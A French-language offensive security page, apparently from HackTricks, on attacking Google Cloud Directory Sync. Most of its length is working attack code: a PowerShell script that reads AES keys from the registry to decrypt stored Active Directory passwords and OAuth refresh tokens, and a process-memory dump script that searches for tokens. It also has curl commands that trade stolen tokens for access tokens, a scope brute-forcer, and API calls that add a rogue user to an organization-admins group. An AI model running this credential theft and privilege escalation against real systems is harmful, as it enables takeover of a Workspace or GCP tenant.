# GCDS - Google Cloud Directory Sync

{{#include ../../../banners/hacktricks-training.md}}

## Informations de base

C'est un outil qui peut être utilisé pour **synchroniser vos utilisateurs et groupes Active Directory avec votre Workspace** (et non l'inverse au moment de la rédaction).

C'est intéressant car c'est un outil qui nécessitera les **identifiants d'un super utilisateur Workspace et d'un utilisateur AD privilégié**. Il pourrait donc être possible de le trouver à l'intérieur d'un serveur de domaine qui synchroniserait des utilisateurs de temps en temps.

> [!NOTE]
> Pour effectuer un **MitM** sur le binaire **`config-manager.exe`**, ajoutez simplement la ligne suivante dans le fichier `config.manager.vmoptions` : **`-Dcom.sun.net.ssl.checkRevocation=false`**

> [!TIP]
> Notez que [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) est capable de détecter **GCDS**, d'obtenir des informations sur la configuration et **même les mots de passe et les identifiants chiffrés**.

Notez également que GCDS ne synchronisera pas les mots de passe d'AD vers Workspace. Si quelque chose, il générera simplement des mots de passe aléatoires pour les nouveaux utilisateurs créés dans Workspace comme vous pouvez le voir dans l'image suivante :

<figure><img src="../../../images/telegram-cloud-photo-size-4-5780773316536156543-x.jpg" alt="" width="515"><figcaption></figcaption></figure>

### GCDS - Jetons de disque et identifiants AD

Le binaire `config-manager.exe` (le binaire principal de GCDS avec interface graphique) stockera par défaut les identifiants Active Directory configurés, le jeton de rafraîchissement et l'accès dans un **fichier xml** dans le dossier **`C:\Program Files\Google Cloud Directory Sync`** dans un fichier appelé **`Untitled-1.xml`** par défaut. Bien qu'il puisse également être enregistré dans les `Documents` de l'utilisateur ou dans **tout autre dossier**.

De plus, le registre **`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`** à l'intérieur de la clé **`open.recent`** contient les chemins vers tous les fichiers de configuration récemment ouverts (xmls). Il est donc possible de **vérifier cela pour les trouver**.

Les informations les plus intéressantes à l'intérieur du fichier seraient :
```xml
[...]
<loginMethod>OAUTH2</loginMethod>
<oAuth2RefreshToken>rKvvNQxi74JZGI74u68aC6o+3Nu1ZgVUYdD1GyoWyiHHxtWx+lbx3Nk8dU27fts5lCJKH/Gp1q8S6kEM2AvjQZN16MkGTU+L2Yd0kZsIJWeO0K0RdVaK2D9Saqchk347kDgGsQulJnuxU+Puo46+aA==</oAuth2RefreshToken>
<oAuth2Scopes>
<scope>https://www.google.com/m8/feeds/</scope>
<scope>https://www.googleapis.com/auth/admin.directory.group</scope>
<scope>https://www.googleapis.com/auth/admin.directory.orgunit</scope>
<scope>https://www.googleapis.com/auth/admin.directory.resource.calendar</scope>
<scope>https://www.googleapis.com/auth/admin.directory.user</scope>
<scope>https://www.googleapis.com/auth/admin.directory.userschema</scope>
<scope>https://www.googleapis.com/auth/apps.groups.settings</scope>
<scope>https://www.googleapis.com/auth/apps.licensing</scope>
<scope>https://www.googleapis.com/auth/plus.me</scope>
</oAuth2Scopes>
[...]
<hostname>192.168.10.23</hostname>
<port>389</port>
<basedn>dc=hacktricks,dc=local</basedn>
<authType>SIMPLE</authType>
<authUser>DOMAIN\domain-admin</authUser>
<authCredentialsEncrypted>XMmsPMGxz7nkpChpC7h2ag==</authCredentialsEncrypted>
[...]
```
Notez comment le **refresh** **token** et le **password** de l'utilisateur sont **encryptés** en utilisant **AES CBC** avec une clé et un IV générés aléatoirement stockés dans **`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`** (où la bibliothèque Java **`prefs`** stocke les préférences) dans les clés de chaîne **`/Encryption/Policy/V2.iv`** et **`/Encryption/Policy/V2.key`** stockées en base64.

<details>

<summary>Script Powershell pour déchiffrer le refresh token et le password</summary>
```bash
# Paths and key names
$xmlConfigPath = "C:\Users\c\Documents\conf.xml"
$regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util"
$ivKeyName = "/Encryption/Policy/V2.iv"
$keyKeyName = "/Encryption/Policy/V2.key"

# Open the registry key
try {
$regKey = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey($regPath)
if (-not $regKey) {
Throw "Registry key not found: HKCU\$regPath"
}
}
catch {
Write-Error "Failed to open registry key: $_"
exit
}

# Get Base64-encoded IV and Key from the registry
try {
$ivBase64 = $regKey.GetValue($ivKeyName)
$ivBase64 = $ivBase64 -replace '/', ''
$ivBase64 = $ivBase64 -replace '\\', '/'
if (-not $ivBase64) {
Throw "IV not found in registry"
}
$keyBase64 = $regKey.GetValue($keyKeyName)
$keyBase64 = $keyBase64 -replace '/', ''
$keyBase64 = $keyBase64 -replace '\\', '/'
if (-not $keyBase64) {
Throw "Key not found in registry"
}
}
catch {
Write-Error "Failed to read registry values: $_"
exit
}
$regKey.Close()


# Decode Base64 IV and Key
$ivBytes = [Convert]::FromBase64String($ivBase64)
$keyBytes = [Convert]::FromBase64String($keyBase64)

# Read XML content
$xmlContent = Get-Content -Path $xmlConfigPath -Raw

# Extract Base64-encoded encrypted values using regex
$refreshTokenMatch = [regex]::Match($xmlContent, "<oAuth2RefreshToken>(.*?)</oAuth2RefreshToken>")
$refreshTokenBase64 = $refreshTokenMatch.Groups[1].Value

$encryptedPasswordMatch = [regex]::Match($xmlContent, "<authCredentialsEncrypted>(.*?)</authCredentialsEncrypted>")
$encryptedPasswordBase64 = $encryptedPasswordMatch.Groups[1].Value

# Decode encrypted values from Base64
$refreshTokenEncryptedBytes = [Convert]::FromBase64String($refreshTokenBase64)
$encryptedPasswordBytes = [Convert]::FromBase64String($encryptedPasswordBase64)

# Function to decrypt data using AES CBC
Function Decrypt-Data($cipherBytes, $keyBytes, $ivBytes) {
$aes = [System.Security.Cryptography.Aes]::Create()
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$aes.KeySize = 256
$aes.BlockSize = 128
$aes.Key = $keyBytes
$aes.IV = $ivBytes

$decryptor = $aes.CreateDecryptor()
$memoryStream = New-Object System.IO.MemoryStream
$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Write)
$cryptoStream.Write($cipherBytes, 0, $cipherBytes.Length)
$cryptoStream.FlushFinalBlock()
$plaintextBytes = $memoryStream.ToArray()

$cryptoStream.Close()
$memoryStream.Close()

return $plaintextBytes
}

# Decrypt the values
$refreshTokenBytes = Decrypt-Data -cipherBytes $refreshTokenEncryptedBytes -keyBytes $keyBytes -ivBytes $ivBytes
$refreshToken = [System.Text.Encoding]::UTF8.GetString($refreshTokenBytes)

$decryptedPasswordBytes = Decrypt-Data -cipherBytes $encryptedPasswordBytes -keyBytes $keyBytes -ivBytes $ivBytes
$decryptedPassword = [System.Text.Encoding]::UTF8.GetString($decryptedPasswordBytes)

# Output the decrypted values
Write-Host "Decrypted Refresh Token: $refreshToken"
Write-Host "Decrypted Password: $decryptedPassword"
```
</details>

> [!NOTE]
> Notez qu'il est possible de vérifier cette information en consultant le code java de **`DirSync.jar`** dans **`C:\Program Files\Google Cloud Directory Sync`** en recherchant la chaîne `exportkeys` (car c'est le paramètre cli que le binaire `upgrade-config.exe` s'attend à utiliser pour extraire les clés).

Au lieu d'utiliser le script powershell, il est également possible d'utiliser le binaire **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** avec le paramètre `-exportKeys` et d'obtenir la **Key** et **IV** depuis le registre en hexadécimal, puis d'utiliser CyberChef avec AES/CBC et cette clé et IV pour déchiffrer l'information.

### GCDS - Extraction de tokens de la mémoire

Tout comme avec GCPW, il est possible d'extraire la mémoire du processus `config-manager.exe` (c'est le nom du binaire principal de GCDS avec interface graphique) et vous pourrez trouver des tokens de rafraîchissement et d'accès (s'ils ont déjà été générés).\
Je suppose que vous pourriez également trouver les identifiants configurés AD.

<details>

<summary>Extraire les processus config-manager.exe et rechercher des tokens</summary>
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"

# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)

# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}

# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "config-manager" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id

# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}

# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"

Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile

$outputFiles = @($asciiStringsFile, $unicodeStringsFile)

foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {

$matches = Select-String -Path $file -Pattern $regex -AllMatches

$uniqueMatches = @{}

foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText   = $matchInfo.Line.Trim()
FilePath   = $matchInfo.Path
}
}
}
}

foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}

Write-Output ""
}
}

Remove-Item -Path $dumpFolder -Recurse -Force
```
</details>

### GCDS - Génération de jetons d'accès à partir de jetons d'actualisation

En utilisant le jeton d'actualisation, il est possible de générer des jetons d'accès en utilisant celui-ci ainsi que l'ID client et le secret client spécifiés dans la commande suivante :
```bash
curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
https://www.googleapis.com/oauth2/v4/token
```
### GCDS - Scopes

> [!NOTE]
> Notez qu'il n'est pas possible de demander n'importe quel scope pour le jeton d'accès même en ayant un jeton de rafraîchissement, car vous ne pouvez demander que les **scopes pris en charge par l'application où vous générez le jeton d'accès**.
>
> De plus, le jeton de rafraîchissement n'est pas valide dans toutes les applications.

Par défaut, GCSD n'aura pas accès en tant qu'utilisateur à tous les scopes OAuth possibles, donc en utilisant le script suivant, nous pouvons trouver les scopes qui peuvent être utilisés avec le `refresh_token` pour générer un `access_token` :

<details>

<summary>Bash script to brute-force scopes</summary>
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope           \r"
if ! curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03PR0VQOSCjS1CgYIARAAGAMSNwF-L9Ir5b_vOaCmnXzla0nL7dX7TJJwFcvrfgDPWI-j19Z4luLpYfLyv7miQyvgyXjGEXt-t0A" \
--data "scope=$scope" \
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
echo ""
echo $scope
echo $scope >> /tmp/valid_scopes.txt
fi
done

echo ""
echo ""
echo "Valid scopes:"
cat /tmp/valid_scopes.txt
rm /tmp/valid_scopes.txt
```
</details>

Et voici le résultat que j'ai obtenu au moment de l'écriture :
```
https://www.googleapis.com/auth/admin.directory.group
https://www.googleapis.com/auth/admin.directory.orgunit
https://www.googleapis.com/auth/admin.directory.resource.calendar
https://www.googleapis.com/auth/admin.directory.user
https://www.googleapis.com/auth/admin.directory.userschema
https://www.googleapis.com/auth/apps.groups.settings
https://www.googleapis.com/auth/apps.licensing
https://www.googleapis.com/auth/contacts
```
#### Créez un utilisateur et ajoutez-le au groupe `gcp-organization-admins` pour essayer d'escalader dans GCP
```bash
# Create new user
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/users' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"primaryEmail": "deleteme@domain.com",
"name": {
"givenName": "Delete",
"familyName": "Me"
},
"password": "P4ssw0rdStr0ng!",
"changePasswordAtNextLogin": false
}'

# Add to group
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/groups/gcp-organization-admins@domain.com/members' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"email": "deleteme@domain.com",
"role": "OWNER"
}'

# You could also change the password of a user for example
```
> [!CAUTION]
> Il n'est pas possible de donner au nouvel utilisateur le rôle Super Amin car le **jeton d'actualisation n'a pas suffisamment de portées** pour accorder les privilèges requis.

{{#include ../../../banners/hacktricks-training.md}}
